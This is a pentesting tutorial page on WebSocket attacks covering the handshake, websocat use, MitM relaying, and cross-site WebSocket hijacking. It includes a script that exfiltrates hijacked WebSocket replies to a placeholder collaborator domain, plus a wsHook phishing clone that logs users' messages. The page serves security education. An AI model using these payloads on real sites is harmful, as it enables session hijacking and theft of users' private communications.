hacktricks/pentesting-web/websocket-attacks.md

# WebSocket Attacks

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## What are WebSockets

WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams.

### Establishment of WebSocket Connections

A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:

```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```

The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection.

During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:

Browser sends a handshake request:

```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

Server's handshake response:

```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

The connection remains open for message exchange in both directions once established.

**Key Points of the WebSocket Handshake:**

- The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
- The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
- A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
- The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.

These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.


### Linux console

You can use `websocat` to establish a raw connection with a websocket.

```bash
websocat --insecure wss://10.10.10.10:8000 -v
```

Or to create a websocat server:

```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```

### MitM websocket connections

If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\
Once the client is trying to connect to you can then use:

```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```

### Websockets enumeration

You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.

### Websocket Debug tools

* **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
  * The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server.
* [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**

## Websocket Lab

In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.

## Cross-site WebSocket hijacking (CSWSH)

**Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures. 

Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.

### Simple Attack

Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**.

Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.:

```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```

### Cross Origin + Cookie with a different subdomain

In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.

### Stealing data from user

Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:

```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
```

Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.\
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:

```javascript
sudo python3 -m http.server 80
```

## Race Conditions

Race Conditions in WebSockets are also a thing, [check this information to learn more](race-condition.md#rc-in-websockets).

## Other vulnerabilities

As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**

## **WebSocket Smuggling**

This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page:

{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}

## References

* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)

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